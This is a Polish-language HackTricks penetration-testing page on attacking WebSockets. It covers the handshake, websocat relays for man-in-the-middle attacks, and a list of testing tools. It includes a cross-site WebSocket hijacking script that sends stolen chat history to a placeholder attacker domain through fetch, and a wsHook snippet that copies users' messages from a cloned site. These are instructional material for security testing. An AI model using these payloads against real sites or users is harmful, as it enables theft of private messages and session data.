hacktricks/pentesting-web/websocket-attacks.md
2024-02-11 01:46:25 +00:00

13 KiB

Ataki na WebSockety

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Czym są WebSockety

Połączenia WebSocket są nawiązywane poprzez początkowy uścisk dłoni HTTP i są zaprojektowane tak, aby były długotrwałe, umożliwiając dwukierunkową komunikację w dowolnym momencie bez konieczności posiadania systemu transakcyjnego. Dzięki temu WebSockety są szczególnie korzystne dla aplikacji wymagających niskiego opóźnienia lub komunikacji inicjowanej przez serwer, takich jak strumienie danych finansowych na żywo.

Nawiązywanie połączeń WebSocket

Szczegółowe wyjaśnienie nawiązywania połączeń WebSocket można znaleźć tutaj. W skrócie, połączenia WebSocket są zwykle inicjowane za pomocą JavaScriptu po stronie klienta, jak pokazano poniżej:

var ws = new WebSocket("wss://normal-website.com/ws");

Protokół wss oznacza połączenie WebSocket zabezpieczone protokołem TLS, podczas gdy ws oznacza niezabezpieczone połączenie.

Podczas nawiązywania połączenia, między przeglądarką a serwerem odbywa się proces ustanawiania połączenia, który odbywa się za pomocą protokołu HTTP. Proces ten polega na wysłaniu żądania przez przeglądarkę, a następnie odpowiedzi serwera, jak to przedstawiono w poniższych przykładach:

Przeglądarka wysyła żądanie ustanowienia połączenia:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odpowiedź serwera na handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Po nawiązaniu połączenia, komunikacja między stronami odbywa się w obie strony.

Kluczowe punkty podczas negocjacji WebSocket:

  • Nagłówki Connection i Upgrade sygnalizują rozpoczęcie negocjacji WebSocket.
  • Nagłówek Sec-WebSocket-Version wskazuje żądaną wersję protokołu WebSocket, zwykle 13.
  • W nagłówku Sec-WebSocket-Key wysyłana jest losowa wartość zakodowana w Base64, zapewniająca unikalność każdej negocjacji i pomagająca zapobiegać problemom z proxy cache. Ta wartość nie służy do uwierzytelniania, ale do potwierdzenia, że odpowiedź nie została wygenerowana przez źle skonfigurowany serwer lub cache.
  • Nagłówek Sec-WebSocket-Accept w odpowiedzi serwera to suma kontrolna Sec-WebSocket-Key, potwierdzająca intencję serwera otwarcia połączenia WebSocket.

Te funkcje zapewniają bezpieczny i niezawodny proces negocjacji, umożliwiając efektywną komunikację w czasie rzeczywistym.

Konsola Linux

Możesz użyć websocat, aby nawiązać surowe połączenie z WebSocketem.

websocat --insecure wss://10.10.10.10:8000 -v

Aby utworzyć serwer websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Ataki typu MitM na połączenia websocket

Jeśli zauważysz, że klienci są podłączeni do websocketu HTTP z twojej obecnej lokalnej sieci, możesz spróbować przeprowadzić Atak ARP Spoofing, aby przeprowadzić atak typu MitM między klientem a serwerem.
Gdy klient próbuje się połączyć, możesz użyć:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Wyliczanie Websockets

Możesz użyć narzędzia https://github.com/PalindromeLabs/STEWS do automatycznego odkrywania, identyfikowania i wyszukiwania znanych podatności w websockets.

Narzędzia do debugowania Websocket

  • Burp Suite obsługuje komunikację websockets w sposób bardzo podobny do komunikacji HTTP.
  • Rozszerzenie socketsleuth dla Burp Suite pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, pobierać historię, ustawiać reguły przechwytywania, używać reguł dopasowania i zamiany, korzystać z Intrudera i AutoRepeater.
  • WSSiP: Skrót od "WebSocket/Socket.io Proxy", narzędzie napisane w Node.js, które zapewnia interfejs użytkownika do przechwytywania, przechwytywania, wysyłania niestandardowych wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
  • wsrepl to interaktywne REPL websocket zaprojektowane specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania przychodzących wiadomości websocket i wysyłania nowych, z łatwym w użyciu frameworkiem do automatyzacji tej komunikacji.
  • https://websocketking.com/ to strona internetowa do komunikacji z innymi stronami internetowymi za pomocą websockets.
  • https://hoppscotch.io/realtime/websocket oprócz innych typów komunikacji/protokołów, zapewnia stronę internetową do komunikacji z innymi stronami internetowymi za pomocą websockets.

Laboratorium Websocket

W Burp-Suite-Extender-Montoya-Course znajdziesz kod do uruchomienia strony internetowej za pomocą websockets, a w tym poście znajdziesz wyjaśnienie.

Przechwytywanie WebSocket Cross-site (CSWSH)

Przechwytywanie WebSocket Cross-site, znane również jako przechwytywanie WebSocket Cross-origin, jest określane jako szczególny przypadek Cross-Site Request Forgery (CSRF) dotyczący negocjacji WebSocket. Podatność ta występuje, gdy negocjacje WebSocket uwierzytelniają się wyłącznie za pomocą ciasteczek HTTP, bez tokenów CSRF lub podobnych środków bezpieczeństwa.

Atakujący mogą wykorzystać to, hostując złośliwą stronę internetową, która inicjuje połączenie WebSocket między witryną a podatną aplikacją. W rezultacie to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.

Prosty atak

Należy zauważyć, że podczas ustanawiania połączenia websocketowego, ciasteczko jest wysyłane do serwera. Serwer może go używać do powiązania każdego konkretnego użytkownika z jego sesją websocketową na podstawie wysłanego ciasteczka.

Następnie, jeśli na przykład serwer websocketowy wysyła historię rozmowy użytkownika, jeśli zostanie wysłana wiadomość z "READY", to proste XSS ustanawiające połączenie (ciasteczko zostanie automatycznie wysłane, aby autoryzować użytkownika ofiarę) wysyłając "READY" będzie w stanie odzyskać historię rozmowy.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

W tym wpisie na blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ atakujący zdołał wykonać dowolny kod JavaScript w subdomenie domeny, w której odbywała się komunikacja za pomocą gniazd sieciowych. Ponieważ była to subdomena, cookie było wysyłane, a ponieważ Websocket nie sprawdzał poprawnie pochodzenia, było możliwe komunikowanie się z nim i kradzież tokenów.

Kradzież danych od użytkownika

Skopiuj aplikację internetową, którą chcesz podszyć (np. pliki .html) i wewnątrz skryptu, w którym odbywa się komunikacja za pomocą gniazd sieciowych, dodaj ten kod:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Teraz pobierz plik wsHook.js z https://github.com/skepticfx/wshook i zapisz go wewnątrz folderu z plikami internetowymi.
Ujawniając aplikację internetową i zmuszając użytkownika do połączenia się z nią, będziesz w stanie kraść wysłane i otrzymane wiadomości za pomocą protokołu websocket:

sudo python3 -m http.server 80

Wyścig warunków

Wyścigi warunków w WebSockets również są możliwe, sprawdź te informacje, aby dowiedzieć się więcej.

Inne podatności

Ponieważ WebSockets są mechanizmem do wysyłania danych po stronie serwera i klienta, w zależności od tego, jak serwer i klient obsługują informacje, WebSockets mogą być wykorzystane do eksploatacji innych podatności, takich jak XSS, SQLi lub inne powszechne podatności internetowe, używając danych wprowadzonych przez użytkownika za pośrednictwem WebSockets.

WebSocket Smuggling

Ta podatność może umożliwić ominięcie ograniczeń odwróconych proxy przez sprawienie, że uwierzą one, że nawiązano komunikację WebSocket (nawet jeśli tak nie jest). To może umożliwić atakującemu dostęp do ukrytych punktów końcowych. Aby uzyskać więcej informacji, sprawdź następującą stronę:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: